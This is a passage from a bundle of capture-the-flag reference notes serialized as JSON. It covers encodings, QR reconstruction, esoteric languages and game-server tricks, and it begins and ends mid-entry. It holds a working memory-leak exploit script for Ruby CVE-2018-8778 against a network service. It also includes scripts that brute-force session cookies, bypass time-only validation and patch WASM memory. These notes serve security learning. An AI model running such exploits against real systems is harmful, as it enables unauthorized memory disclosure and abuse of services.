['A', 'D', 'G', 'E', ...] # transcribed from audio\n\nchars = []\nfor i in range(0, len(notes) - 1, 2):\n hi = scale[notes[i]]\n lo = scale[notes[i+1]]\n chars.append(chr((hi \u003c\u003c 4) | lo))\n\nprint(''.join(chars))\n```\n\n**Key insight:** Known plaintext at the start and end (flag format like `CTF{` and `}`) reveals the encoding alphabet — map the known characters back to their note pairs to confirm the scale-degree assignment. Musical scale degree = nibble value; pairs of notes = one byte.\n\n---\n\n## Ruby Array#unpack Buffer Under-Read CVE-2018-8778 (Codegate 2019)\n\n**Pattern:** A Ruby service calls `String#unpack` (or `Array#pack`) with an attacker-controlled format string. On pre-2.5.1 Ruby, oversized `@N` offsets are compared with signed integers, so a huge N wraps to a negative pointer offset — `unpack` then reads bytes from memory *before* the string's buffer and emits them as integers. Combined with the common bug of putting user input inside the format (e.g. `input.unpack(\"C*#{input}.length\")`), you get an arbitrary memory dump primitive.\n\n```python\n# Remote Ruby server evaluates: input.unpack(\"C*#{input}.length\")\n# Supplying \"@HUGECHUNK1200000\" as input builds format \"C*@HUGECHUNK1200000.length\"\n# which unpack parses as: @\u003coffset> C\u003ccount> -> read \u003ccount> bytes from far offset.\nimport socket\npayload = b'@18446744073708351616C1200000\\n1\\n' # 2**64 - 0x1C0000\ns = socket.create_connection(('target', 12137))\ns.sendall(payload)\ndata = b''\nwhile True:\n chunk = s.recv(4096)\n if not chunk:\n break\n data += chunk\n\n# Each emitted line is one int (byte value from leaked memory)\nimport string\nout = ''.join(\n chr(int(line)) for line in data.decode(errors='ignore').splitlines()\n if line.strip().isdigit() and chr(int(line)) in string.printable\n)\nimport re\nprint(re.findall(r'FLAG\\{[^}]*\\}', out))\n```\n\n**Key insight:** `String#unpack` is not inherently unsafe — it becomes catastrophic when (a) the format string is attacker-controlled (format-injection pattern, equivalent to `printf` bugs), and (b) the Ruby runtime is pre-2.5.1 (CVE-2018-8778). Huge `@N` offsets leak arbitrary memory. Always audit Ruby services that interpolate user input into `pack`/`unpack`/`sprintf` templates.\n\n**References:** Codegate CTF 2019 Preliminary — mini converter, writeup 13209\n\n---\n\n## Binary Grid Text to QR Image + XOR Key (Pragyan CTF 2019)\n\n**Pattern:** A text file contains only `0` and `1` characters (often one per line or with random line breaks). Strip whitespace, verify the length is a perfect square (or a known W*H), render as a pixel grid, and decode with `pyzbar`. The QR payload is hex-encoded and must be XORed with a repeating key (commonly `flag` or the challenge name) to reveal the flag.\n\n```python\nfrom PIL import Image, ImageDraw\nfrom pyzbar.pyzbar import decode\n\nraw = open('01qr').read()\nbits = ''.join(c for c in raw if c in '01')\n# Guess dimensions\nimport math\nn = int(math.isqrt(len(bits)))\nassert n * n == len(bits), f'not square: {len(bits)}'\n\nscale = 5\nimg = Image.new('RGB', (n * scale, n * scale), (255, 255, 255))\nd = ImageDraw.Draw(img)\nfor i in range(n):\n for j in range(n):\n if bits[i * n + j] == '0': # 0 == black in this challenge\n d.rectangle((j*scale, i*scale,\n j*scale + scale, i*scale + scale), fill=(0, 0, 0))\nimg.save('qr.png')\n\nhexstr = decode(img)[0].data.decode()\nct = bytes.fromhex(hexstr)\nkey = b'flag'\npt = bytes(b ^ key[i % len(key)] for i, b in enumerate(ct))\nprint(pt)\n```\n\n**Key insight:** Binary-grid text files are often \"render me\" puzzles — one pixel per bit, scale by 4-8x so `zbarimg`/`pyzbar` can find the finder patterns. If the decoded bytes are printable-ish but nonsense (e.g. `9YQ8S_VY^`), try short repeating-key XOR with the word `flag`, the CTF name, or `ctf{` — XORing the first 5 bytes of ciphertext with `pctf{` recovers the key immediately.\n\n**References:** Pragyan CTF 2019 — EXORcism, writeup 13835\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":19845,"content_sha256":"5c2b2e3ddb6421b0246d3aea8a03aba1a5900ec3208863969cc94b0b285b5beb"},{"filename":"encodings.md","content":"# CTF Misc - Encodings & Media\n\n## Table of Contents\n- [Common Encodings](#common-encodings)\n - [Base64](#base64)\n - [Base32](#base32)\n - [Hex](#hex)\n - [IEEE 754 Floating Point Encoding](#ieee-754-floating-point-encoding)\n - [UTF-16 Endianness Reversal (LACTF 2026)](#utf-16-endianness-reversal-lactf-2026)\n - [BCD (Binary-Coded Decimal) Encoding (VuwCTF 2025)](#bcd-binary-coded-decimal-encoding-vuwctf-2025)\n - [Multi-Layer Encoding Detection (0xFun 2026)](#multi-layer-encoding-detection-0xfun-2026)\n - [URL Encoding](#url-encoding)\n - [ROT13 / Caesar](#rot13--caesar)\n - [Caesar Brute Force](#caesar-brute-force)\n- [QR Codes](#qr-codes)\n - [Basic Commands](#basic-commands)\n - [QR Structure](#qr-structure)\n - [Repairing Damaged QR](#repairing-damaged-qr)\n - [Finder Pattern Template](#finder-pattern-template)\n - [QR Code Chunk Reassembly (LACTF 2026)](#qr-code-chunk-reassembly-lactf-2026)\n - [QR Code Chunk Reassembly via Indexed Directories (UTCTF 2026)](#qr-code-chunk-reassembly-via-indexed-directories-utctf-2026)\n- [Multi-Stage URL Encoding Chain (UTCTF 2026)](#multi-stage-url-encoding-chain-utctf-2026)\n- [Esoteric Languages](#esoteric-languages)\n - [Whitespace Language Parser (BYPASS CTF 2025)](#whitespace-language-parser-bypass-ctf-2025)\n - [Custom Brainfuck Variants (Themed Esolangs)](#custom-brainfuck-variants-themed-esolangs)\n - [Multi-Layer Esoteric Language Chains (Break In 2016)](#multi-layer-esoteric-language-chains-break-in-2016)\n- [base65536 CJK Unicode Binary Encoding (IceCTF 2018)](#base65536-cjk-unicode-binary-encoding-icectf-2018)\n\nSee also: [encodings-advanced.md](encodings-advanced.md) - Verilog/HDL, Gray code, binary tree encoding, RTF custom tags, SMS PDU decoding, multi-encoding solvers, UTF-9, pixel binary encoding, hex Sudoku + QR, TOPKEK, MaxiCode\n\n---\n\n## Common Encodings\n\n### Base64\n```bash\necho \"encoded\" | base64 -d\n# Charset: A-Za-z0-9+/=\n```\n\n### Base32\n```bash\necho \"OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=\" | base32 -d\n# Charset: A-Z2-7= (no lowercase, no 0,1,8,9)\n```\n\n### Hex\n```bash\necho \"68656c6c6f\" | xxd -r -p\n```\n\n### IEEE 754 Floating Point Encoding\n\nNumbers that encode ASCII text when viewed as raw IEEE 754 bytes:\n\n```python\nimport struct\n\nvalues = [240600592, 212.2753143310547, 2.7884192016691608e+23]\n\n# Each float32 packs to 4 ASCII bytes\nfor v in values:\n packed = struct.pack('>f', v) # Big-endian single precision\n print(f\"{v} -> {packed}\") # b'Meta', b'CTF{', b'fl04'\n\n# For double precision (8 bytes per value):\n# struct.pack('>d', v)\n```\n\n**Key insight:** If challenge gives a list of numbers (mix of integers, decimals, scientific notation), try packing each as IEEE 754 float32 (`struct.pack('>f', v)`) — the 4 bytes often spell ASCII text.\n\n### UTF-16 Endianness Reversal (LACTF 2026)\n\n**Pattern (endians):** Text \"turned to Japanese\" -- mojibake from UTF-16 endianness mismatch.\n\n**Fix:** Reverse the encoding/decoding order:\n```python\n# If encoded as UTF-16-LE but decoded as UTF-16-BE:\nfixed = mojibake.encode('utf-16-be').decode('utf-16-le')\n\n# If encoded as UTF-16-BE but decoded as UTF-16-LE:\nfixed = mojibake.encode('utf-16-le').decode('utf-16-be')\n```\n\n**Identification:** Text appears as CJK characters (Japanese/Chinese), challenge mentions \"translation\" or \"endian\".\n\n### BCD (Binary-Coded Decimal) Encoding (VuwCTF 2025)\n\n**Pattern:** Challenge name hints at ratio (e.g., \"1.5x\" = 1.5:1 byte ratio). Each nibble encodes one decimal digit.\n\n```python\ndef bcd_decode(data):\n \"\"\"Decode BCD: each byte = 2 decimal digits.\"\"\"\n return ''.join(f'{(b>>4)&0xf}{b&0xf}' for b in data)\n\n# Then convert decimal string to ASCII\nascii_text = ''.join(chr(int(decoded[i:i+2])) for i in range(0, len(decoded), 2))\n```\n\n### Multi-Layer Encoding Detection (0xFun 2026)\n\n**Pattern (139 steps):** Recursive decoding with troll flags as decoys.\n\n**Critical rule:** When data is all hex chars (0-9, a-f), decode as **hex FIRST**, not base64 (which also accepts those chars).\n\n```python\ndef auto_decode(data):\n while True:\n data = data.strip()\n if data.startswith('REAL_DATA_FOLLOWS:'):\n data = data.split(':', 1)[1]\n # Prioritize hex when ambiguous\n if all(c in '0123456789abcdefABCDEF' for c in data) and len(data) % 2 == 0:\n data = bytes.fromhex(data).decode('ascii', errors='replace')\n elif set(data) \u003c= set('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='):\n data = base64.b64decode(data).decode('ascii', errors='replace')\n else:\n break\n return data\n```\n\n**Ignore troll flags** — check for \"keep decoding\" or \"REAL_DATA_FOLLOWS:\" markers.\n\n### URL Encoding\n```python\nimport urllib.parse\nurllib.parse.unquote('hello%20world')\n```\n\n### ROT13 / Caesar\n```bash\necho \"uryyb\" | tr 'a-zA-Z' 'n-za-mN-ZA-M'\n```\n\n**ROT13 patterns:** `gur` = \"the\", `synt` = \"flag\"\n\n### Caesar Brute Force\n```python\ntext = \"Khoor Zruog\"\nfor shift in range(26):\n decoded = ''.join(\n chr((ord(c) - 65 - shift) % 26 + 65) if c.isupper()\n else chr((ord(c) - 97 - shift) % 26 + 97) if c.islower()\n else c for c in text)\n print(f\"{shift:2d}: {decoded}\")\n```\n\n---\n\n## QR Codes\n\n### Basic Commands\n```bash\nzbarimg qrcode.png # Decode\nzbarimg -S*.enable qr.png # All barcode types\nqrencode -o out.png \"data\" # Encode\n```\n\n### QR Structure\n\n**Finder patterns (3 corners):** 7x7 modules at top-left, top-right, bottom-left\n\n**Version formula:** `(version * 4) + 17` modules per side\n\n### Repairing Damaged QR\n\n```python\nfrom PIL import Image\nimport numpy as np\n\nimg = Image.open('damaged_qr.png')\narr = np.array(img)\n\n# Convert to binary\ngray = np.mean(arr, axis=2)\nbinary = (gray \u003c 128).astype(int)\n\n# Find QR bounds\nrows = np.any(binary, axis=1)\ncols = np.any(binary, axis=0)\nrmin, rmax = np.where(rows)[0][[0, -1]]\ncmin, cmax = np.where(cols)[0][[0, -1]]\n\n# Check finder patterns\nqr = binary[rmin:rmax+1, cmin:cmax+1]\nprint(\"Top-left:\", qr[0:7, 0:7].sum()) # Should be ~25\n```\n\n### Finder Pattern Template\n```python\nfinder_pattern = [\n [1,1,1,1,1,1,1],\n [1,0,0,0,0,0,1],\n [1,0,1,1,1,0,1],\n [1,0,1,1,1,0,1],\n [1,0,1,1,1,0,1],\n [1,0,0,0,0,0,1],\n [1,1,1,1,1,1,1],\n]\n```\n\n### QR Code Chunk Reassembly (LACTF 2026)\n\n**Pattern (error-correction):** QR code split into grid of chunks (e.g., 5x5 of 9x9 pixels), shuffled.\n\n**Solving approach:**\n1. **Fix known chunks:** Use structural patterns -- finder patterns (3 corners), timing patterns, alignment patterns -- to place ~50% of chunks\n2. **Extract codeword constraints:** For each candidate payload length, use QR spec to identify which pixels are invariant across encodings\n3. **Backtracking search:** Assign remaining chunks under pixel constraints until QR decodes successfully\n\n**Tools:** `segno` (Python QR library), `zbarimg` for decoding.\n\n### QR Code Chunk Reassembly via Indexed Directories (UTCTF 2026)\n\n**Pattern (QRecreate):** QR code split into numbered chunks stored in separate directories. Directory names encode the chunk index as base64 (e.g., `MDAx` → `001` → index 1).\n\n**Solving approach:**\n1. Decode each directory name from base64 to get the numeric index\n2. Sort chunks by decoded index\n3. Arrange in a grid (e.g., 100 chunks → 10x10) and stitch into a single image\n4. Decode the reconstructed QR code\n\n```python\nimport os, base64, math\nfrom PIL import Image\n\n# 1. Decode directory names to get indices\nchunks = []\nfor dirname in os.listdir('chunks/'):\n index = int(base64.b64decode(dirname).decode())\n tile = Image.open(f'chunks/{dirname}/tile.png')\n chunks.append((index, tile))\n\n# 2. Sort by index and arrange in grid\nchunks.sort(key=lambda x: x[0])\nn = len(chunks)\nside = int(math.isqrt(n))\ntile_w, tile_h = chunks[0][1].size\n\ncanvas = Image.new(\"RGB\", (side * tile_w, side * tile_h), (255, 255, 255))\nfor i, (_, tile) in enumerate(chunks):\n r, c = divmod(i, side)\n canvas.paste(tile, (c * tile_w, r * tile_h))\n\ncanvas.save('reconstructed_qr.png')\n# 3. Decode with zbarimg or pyzbar\n```\n\n**Key insight:** Unlike the LACTF variant (shuffled chunks requiring structural analysis), indexed chunks just need sorting. The challenge is recognizing that directory names are base64-encoded indices. Check `base64 -d` on folder names when they look like random strings.\n\n---\n\n## Multi-Stage URL Encoding Chain (UTCTF 2026)\n\n**Pattern (Breadcrumbs):** Flag is hidden behind a chain of URLs, each encoded differently. Follow the breadcrumbs across external resources (GitHub Gists, Pastebin, etc.), decoding at each hop.\n\n**Common encoding layers per hop:**\n1. **Base64** → URL to next resource\n2. **Hex** → URL to next resource (e.g., `68747470733a2f2f...` = `https://...`)\n3. **ROT13** → final flag\n\n**Decoding workflow:**\n```python\nimport base64, codecs\n\n# Hop 1: Base64\nhop1 = \"aHR0cHM6Ly9naXN0Lmdp...\"\nurl2 = base64.b64decode(hop1).decode()\n\n# Hop 2: Hex-encoded URL\nhop2 = \"68747470733a2f2f...\"\nurl3 = bytes.fromhex(hop2).decode()\n\n# Hop 3: ROT13-encoded flag\nhop3 = \"hgsynt{...}\"\nflag = codecs.decode(hop3, 'rot_13')\n```\n\n**Key insight:** Each resource contains a hint about the next encoding (e.g., \"Three letters follow\" hints at 3-character encoding like hex). Look for contextual clues in surrounding text (poetry, comments, filenames) that indicate the encoding type.\n\n**Detection:** Challenge mentions \"trail\", \"breadcrumbs\", \"follow\", or \"scavenger hunt\". First resource contains what looks like encoded data rather than a direct flag.\n\n---\n\n## Esoteric Languages\n\n| Language | Pattern |\n|----------|---------|\n| Brainfuck | `++++++++++[>+++++++>` |\n| Whitespace | Only spaces, tabs, newlines (or S/T/L substitution) |\n| Ook! | `Ook. Ook? Ook!` |\n| Malbolge | Extremely obfuscated |\n| Piet | Image-based |\n\n### Whitespace Language Parser (BYPASS CTF 2025)\n\n**Pattern (Whispers of the Cursed Scroll):** File contains only S (space), T (tab), L (linefeed) characters — or visible substitutes. Stack-based virtual machine (VM) with PUSH, OUTPUT, and EXIT instructions.\n\n**Instruction set (IMP = Instruction Modification Parameter):**\n| Instruction | Encoding | Action |\n|-------------|----------|--------|\n| PUSH | `S S` + sign + binary + `L` | Push number to stack (S=0, T=1, L=terminator) |\n| OUTPUT CHAR | `T L S S` | Pop stack, print as ASCII character |\n| EXIT | `L L L` | Halt program |\n\n```python\ndef solve_whitespace(content):\n # Convert to S/T/L tokens (handle both raw whitespace and visible chars)\n if any(c in content for c in 'STL'):\n code = [c for c in content if c in 'STL']\n else:\n code = [{'\\\\s': 'S', '\\\\t': 'T', '\\\\n': 'L'}.get(c, '') for c in content]\n code = [c for c in code if c]\n\n stack, output, i = [], \"\", 0\n\n while i \u003c len(code):\n if code[i:i+2] == ['S', 'S']: # PUSH\n i += 2\n sign = 1 if code[i] == 'S' else -1\n i += 1\n val = 0\n while i \u003c len(code) and code[i] != 'L':\n val = (val \u003c\u003c 1) + (1 if code[i] == 'T' else 0)\n i += 1\n i += 1 # skip terminator L\n stack.append(sign * val)\n elif code[i:i+4] == ['T', 'L', 'S', 'S']: # OUTPUT CHAR\n i += 4\n if stack:\n output += chr(stack.pop())\n elif code[i:i+3] == ['L', 'L', 'L']: # EXIT\n break\n else:\n i += 1\n\n return output\n```\n\n**Identification:** File with only whitespace characters, or challenge mentions \"invisible code\", \"blank page\", or uses S/T/L substitution. Try [Whitespace interpreter online](https://vii5ard.github.io/whitespace/) for quick testing.\n\n---\n\n### Custom Brainfuck Variants (Themed Esolangs)\n\n**Pattern:** File contains repetitive themed words (e.g., \"arch\", \"linux\", \"btw\") used as substitutes for Brainfuck operations. Common in Easy/Misc CTF challenges.\n\n**Identification:**\n- File is ASCII text with very long lines of repeated words\n- Small vocabulary (5-8 unique words)\n- One word appears as a line terminator (maps to `.` output)\n- Two words are used for increment/decrement (one has many repeats per line)\n- Words often relate to a meme or theme (e.g., \"I use Arch Linux BTW\")\n\n**Standard Brainfuck operations to map:**\n| Op | Meaning | Typical pattern |\n|----|---------|-----------------|\n| `+` | Increment cell | Most repeated word (defines values) |\n| `-` | Decrement cell | Second most repeated word |\n| `>` | Move pointer right | Short word, appears alone or with `.` |\n| `\u003c` | Move pointer left | Paired with `>` word |\n| `[` | Begin loop | Appears at start of lines with `]` counterpart |\n| `]` | End loop | Appears at end of same lines as `[` |\n| `.` | Output char | Line terminator word |\n\n**Solving approach:**\n```python\nfrom collections import Counter\nwords = content.split()\nfreq = Counter(words)\n# Most frequent = likely + or -, line-ender = likely .\n\n# Map words to BF ops, translate, run standard BF interpreter\nmapping = {'arch': '+', 'linux': '-', 'i': '>', 'use': '\u003c',\n 'the': '[', 'way': ']', 'btw': '.'}\nbf = ''.join(mapping.get(w, '') for w in words)\n# Then execute bf string with a standard Brainfuck interpreter\n```\n\n**Real example (0xL4ugh CTF - \"iUseArchBTW\"):** `.archbtw` extension, \"I use Arch Linux BTW\" meme theme.\n\n**Tips:** Try swapping `+`/`-` or `>`/`\u003c` if output is not ASCII. Verify output starts with known flag format.\n\n---\n\n### Multi-Layer Esoteric Language Chains (Break In 2016)\n\nChallenges may stack multiple esoteric languages requiring sequential interpretation:\n\n1. **Piet:** Visual programming language using colored pixel blocks. Execute PNG images as code:\n```bash\nnpiet challenge.png # npiet interpreter\n# Or: java -jar PietDev.jar challenge.png\n```\n\n2. **Malbolge:** Extremely difficult esoteric language. Decode output from previous layer:\n```bash\n# Piet output → base64 decode → Malbolge source\necho \"piet_output\" | base64 -d > program.mal\nmalbolge program.mal # Or use online interpreter\n```\n\nCommon esoteric chains: Piet → base64 → Malbolge, Brainfuck → Ook → Whitespace, JSFuck → standard JS.\n\n**Key insight:** When a PNG file doesn't contain obvious visual stego, try interpreting it as Piet code. Use `file` + visual inspection to identify the first layer, then decode sequentially.\n\n---\n\n## base65536 CJK Unicode Binary Encoding (IceCTF 2018)\n\n**Pattern:** A blob that looks like a wall of Chinese characters (CJK Unified Ideographs) is actually a **base65536** encoding: each character carries two bytes of data, mapping 0x0000..0xFFFF to a picked subset of 65,536 Unicode codepoints. Detect by `file` reporting \"Unicode text, UTF-8\" with mostly CJK codepoints; decode with the `base65536` npm package or the Python port.\n\n```bash\n# Node.js / npm path\nnpm install -g base65536\necho -n \"宝䀈䀋...\" | base65536 --decode > out.bin\n\n# Python port\npip install base65536\npython3 - \u003c\u003c'PY'\nimport base65536, sys\nsys.stdout.buffer.write(base65536.decode(open(\"blob.txt\").read()))\nPY > out.bin\n\nfile out.bin\n# common outcome: \"Zip archive data\" or \"ELF 64-bit\"\n```\n\n**Key insight:** base64 expands 3 bytes → 4 chars; base65536 expands 2 bytes → 1 *Unicode codepoint*, and since a codepoint renders as 1–4 UTF-8 bytes the encoded stream actually *expands* by ~2× on disk — but visually it looks compact, which is the CTF trick. Any wall of Unicode that lacks variance across the Basic Multilingual Plane and is dominated by CJK, Hangul, or Tibetan is a candidate. Also check base1024 (BMP), base2048, base4096, and base32768 for related tricks.\n\n**References:** IceCTF 2018 — Rabbit Hole, writeup 11421\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15646,"content_sha256":"2d3a79409a4ca99de17710facb5a240431e616aa4ca052513a5ea5efba27b7e7"},{"filename":"games-and-vms-2.md","content":"# CTF Misc - Games, VMs & Constraint Solving (Part 2)\n\n## Table of Contents\n- [Cookie Checkpoint Game Brute-Forcing (BYPASS CTF 2025)](#cookie-checkpoint-game-brute-forcing-bypass-ctf-2025)\n- [Flask Session Cookie Game State Leakage (BYPASS CTF 2025)](#flask-session-cookie-game-state-leakage-bypass-ctf-2025)\n- [WebSocket Game Manipulation + Cryptic Hint Decoding (BYPASS CTF 2025)](#websocket-game-manipulation--cryptic-hint-decoding-bypass-ctf-2025)\n- [Server Time-Only Validation Bypass (BYPASS CTF 2025)](#server-time-only-validation-bypass-bypass-ctf-2025)\n- [De Bruijn Sequence for Substring Coverage (BearCatCTF 2026)](#de-bruijn-sequence-for-substring-coverage-bearcatctf-2026)\n- [Brainfuck Interpreter Instrumentation (BearCatCTF 2026)](#brainfuck-interpreter-instrumentation-bearcatctf-2026)\n- [WASM Linear Memory Manipulation (BearCatCTF 2026)](#wasm-linear-memory-manipulation-bearcatctf-2026)\n- [References](#references)\n\n---\n\n## Cookie Checkpoint Game Brute-Forcing (BYPASS CTF 2025)\n\n**Pattern (Signal from the Deck):** Server-side game where selecting tiles increases score. Incorrect choice resets the game. Score tracked via session cookies.\n\n**Technique:** Save cookies before each guess, restore on failure to avoid resetting progress.\n\n```python\nimport requests\n\nURL = \"https://target.example.com\"\n\ndef solve():\n s = requests.Session()\n s.post(f\"{URL}/api/new\")\n\n while True:\n data = s.get(f\"{URL}/api/signal\").json()\n if data.get('done'):\n break\n\n checkpoint = s.cookies.get_dict()\n\n for tile_id in range(1, 10):\n r = s.post(f\"{URL}/api/click\", json={'clicked': tile_id})\n res = r.json()\n\n if res.get('correct'):\n if res.get('done'):\n print(f\"FLAG: {res.get('flag')}\")\n return\n break\n else:\n s.cookies.clear()\n s.cookies.update(checkpoint)\n```\n\n**Key insight:** Session cookies act as save states. Preserving and restoring cookies on failure enables deterministic brute-forcing without game reset penalties.\n\n---\n\n## Flask Session Cookie Game State Leakage (BYPASS CTF 2025)\n\n**Pattern (Hungry, Not Stupid):** Flask game stores correct answers in signed session cookies. Use `flask-unsign -d` to decode the cookie and reveal server-side game state without playing.\n\n```bash\n# Decode Flask session cookie (no secret needed for reading)\nflask-unsign -d -c '\u003ccookie_value>'\n```\n\n**Example decoded state:**\n```json\n{\n \"all_food_pos\": [{\"x\": 16, \"y\": 12}, {\"x\": 16, \"y\": 28}, {\"x\": 9, \"y\": 24}],\n \"correct_food_pos\": {\"x\": 16, \"y\": 28},\n \"level\": 0\n}\n```\n\n**Key insight:** Flask session cookies are signed but not encrypted by default. `flask-unsign -d` decodes them without the secret key, exposing server-side game state including correct answers.\n\n**Detection:** Base64-looking session cookies with periods (`.`) separating segments. Flask uses `itsdangerous` signing format.\n\n---\n\n## WebSocket Game Manipulation + Cryptic Hint Decoding (BYPASS CTF 2025)\n\n**Pattern (Maze of the Unseen):** Browser-based maze game with invisible walls. Checkpoints verified server-side via WebSocket. Cryptic hint encodes target coordinates.\n\n**Technique:**\n1. Open browser console, inspect WebSocket messages and `player` object\n2. Decode cryptic hints (e.g., \"mosquito were not available\" → MQTT → port 1883)\n3. Teleport directly to target coordinates via console\n\n```javascript\nfunction teleport(x, y) {\n player.x = x;\n player.y = y;\n verifyProgress(Math.round(player.x), Math.round(player.y));\n console.log(`Teleported to x:${player.x}, y:${player.y}`);\n}\n\n// \"mosquito\" → MQTT (port 1883), \"not available\" → 404\nteleport(1883, 404);\n```\n\n**Common cryptic hint mappings:**\n- \"mosquito\" → MQTT (Mosquitto broker, port 1883)\n- \"not found\" / \"not available\" → HTTP 404\n- Port numbers, protocol defaults, or ASCII values as coordinates\n\n**Key insight:** Browser-based games expose their state in the JS console. Modify `player.x`/`player.y` or equivalent properties directly, then call the progress verification function.\n\n---\n\n## Server Time-Only Validation Bypass (BYPASS CTF 2025)\n\n**Pattern (Level Devil):** Side-scrolling game requiring traversal of a map. Server validates that enough time has elapsed (map_length / speed) but doesn't verify actual movement.\n\n```python\nimport requests\nimport time\n\nTARGET = \"https://target.example.com\"\n\ns = requests.Session()\nr = s.post(f\"{TARGET}/api/start\")\nsession_id = r.json().get('session_id')\n\n# Wait for required traversal time (e.g., 4800px / 240px/s = 20s + margin)\ntime.sleep(25)\n\ns.post(f\"{TARGET}/api/collect_flag\", json={'session_id': session_id})\nr = s.post(f\"{TARGET}/api/win\", json={'session_id': session_id})\nprint(r.json().get('flag'))\n```\n\n**Key insight:** When servers validate only elapsed time (not player position, inputs, or movement), start a session, sleep for the required duration, then submit the win request. Always check if the game API has start/win endpoints that can be called directly.\n\n---\n\n## De Bruijn Sequence for Substring Coverage (BearCatCTF 2026)\n\n**Pattern (Brown's Revenge):** Server generates random n-bit binary code each round. Input must contain the code as a substring. Pass 20+ rounds with a single fixed input under a character limit.\n\n```python\ndef de_bruijn(k, n):\n \"\"\"Generate de Bruijn sequence B(k, n): cyclic sequence containing\n every k-ary string of length n exactly once as a substring.\"\"\"\n a = [0] * k * n\n sequence = []\n def db(t, p):\n if t > n:\n if n % p == 0:\n sequence.extend(a[1:p+1])\n else:\n a[t] = a[t - p]\n db(t + 1, p)\n for j in range(a[t - p] + 1, k):\n a[t] = j\n db(t + 1, t)\n db(1, 1)\n return sequence\n\n# For 12-bit binary codes: B(2, 12) has length 4096\nseq = ''.join(map(str, de_bruijn(2, 12)))\npayload = seq + seq[:11] # Linearize: 4096 + 11 = 4107 chars\n# Every possible 12-bit code appears as a substring\n```\n\n**Key insight:** De Bruijn sequence B(k, n) contains all k^n possible n-length strings over alphabet k as substrings, with cyclic length k^n. To linearize (non-cyclic), append the first n-1 characters. Total length = k^n + n - 1. Send the same string every round — it contains every possible code.\n\n**Detection:** Must find arbitrary n-bit pattern as substring of limited-length input. Character budget matches de Bruijn length (k^n + n - 1).\n\n---\n\n## Brainfuck Interpreter Instrumentation (BearCatCTF 2026)\n\n**Pattern (Ghost Ship):** Large Brainfuck program (10K+ instructions) validates a flag character-by-character. Full reverse engineering is impractical.\n\n**Per-character brute-force via instrumentation:**\n1. Instrument a Brainfuck interpreter to track tape cell values\n2. Identify a \"wrong count\" cell that increments per incorrect character\n3. For each position, try all printable ASCII — pick the character that doesn't increment the wrong counter\n\n```python\ndef run_bf_instrumented(code, input_bytes, max_steps=500000):\n tape = [0] * 30000\n dp, ip, inp_idx = 0, 0, 0\n for _ in range(max_steps):\n if ip >= len(code): break\n c = code[ip]\n if c == '+': tape[dp] = (tape[dp] + 1) % 256\n elif c == '-': tape[dp] = (tape[dp] - 1) % 256\n elif c == '>': dp += 1\n elif c == '\u003c': dp -= 1\n elif c == '.': pass # output\n elif c == ',':\n tape[dp] = input_bytes[inp_idx] if inp_idx \u003c len(input_bytes) else 0\n inp_idx += 1\n elif c == '[' and tape[dp] == 0:\n # skip to matching ]\n ...\n elif c == ']' and tape[dp] != 0:\n # jump back to matching [\n ...\n ip += 1\n return tape\n\n# Brute-force: ~40 positions × 95 chars = 3800 runs\nflag = []\nfor pos in range(40):\n for c in range(32, 127):\n candidate = flag + [c] + [ord('A')] * (39 - pos)\n tape = run_bf_instrumented(code, candidate)\n if tape[WRONG_COUNT_CELL] == 0: # No errors up to this position\n flag.append(c)\n break\n```\n\n**Key insight:** Brainfuck programs that validate input character-by-character can be brute-forced without understanding the program logic. Instrument the interpreter to observe tape state, find the cell that tracks validation progress, and optimize per-character search. ~3800 runs completes in minutes.\n\n---\n\n## WASM Linear Memory Manipulation (BearCatCTF 2026)\n\n**Pattern (Dubious Doubloon):** Browser game compiled to WebAssembly with win conditions requiring luck (e.g., 15 consecutive coin flips). WASM linear memory is flat and unprotected.\n\n**Direct memory patching in Node.js:**\n```javascript\nconst { readFileSync } = require('fs');\nconst wasmBuffer = readFileSync('game.wasm');\nconst { instance } = await WebAssembly.instantiate(wasmBuffer, imports);\nconst mem = new DataView(instance.exports.memory.buffer);\n\n// Patch game variables at known offsets\nmem.setInt32(0x102918, 14, true); // streak counter = 14 (need 15)\nmem.setInt32(0x102898, 100, true); // win chance = 100%\n\n// One more flip → guaranteed win → flag decoded\nconst result = instance.exports.flipCoin();\n```\n\n**Key insight:** Unlike WAT patching (modifying the binary), memory manipulation patches runtime state after loading. All WASM variables live in flat linear memory at fixed offsets. Use `wasm-objdump -x game.wasm` or search for known constants to find variable offsets. No need to understand the full game logic — just set the state to \"about to win\".\n\n**Detection:** WASM game requiring statistically impossible sequences (streaks, perfect scores). Game logic is in `.wasm` file loadable in Node.js.\n\n---\n\n## References\n- BYPASS CTF 2025 \"Signal from the Deck\": Cookie checkpoint game brute-forcing\n- BYPASS CTF 2025 \"Hungry, Not Stupid\": Flask cookie game state leakage\n- BYPASS CTF 2025 \"Maze of the Unseen\": WebSocket teleportation + cryptic hints\n- BYPASS CTF 2025 \"Level Devil\": Server time-only validation bypass\n- BearCatCTF 2026 \"Brown's Revenge\": De Bruijn sequence substring coverage\n- BearCatCTF 2026 \"Ghost Ship\": Brainfuck instrumentation brute-force\n- BearCatCTF 2026 \"Dubious Doubloon\": WASM linear memory state patching\n\n---\n\nSee also: [games-and-vms.md](games-and-vms.md) for WASM patching, Roblox reversing, PyInstaller, Z3, K8s RBAC, floating-point exploitation, custom assembly sandbox escape, and multi-phase crypto games.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":10488,"content_sha256":"9475ab08dd561a8d3db502ba0d5ebf650d612a1dd287706e72d45675baf73477"},{"filename":"games-and-vms-3.md","content":"# CTF Misc - Games, VMs & Constraint Solving (Part 3)\n\n## Table of Contents\n- [memfd_create Packed Binaries](#memfd_create-packed-binaries)\n- [Multi-Phase Interactive Crypto Game (EHAX 2026)](#multi-phase-interactive-crypto-game-ehax-2026)\n- [Emulator ROM-Switching State Preservation (BSidesSF 2026)](#emulator-rom-switching-state-preservation-bsidessf-2026)\n- [Python Marshal Code Injection (iCTF 2013)](#python-marshal-code-injection-ictf-2013)\n- [Benford's Law Frequency Distribution Bypass (iCTF 2013)](#benfords-law-frequency-distribution-bypass-ictf-2013)\n- [Parallel Connection Oracle Relay (Hack.lu 2015)](#parallel-connection-oracle-relay-hacklu-2015)\n- [Nonogram Solver to QR Code Pipeline (SECCON 2015)](#nonogram-solver-to-qr-code-pipeline-seccon-2015)\n- [100 Prisoners Problem / Cycle-Following 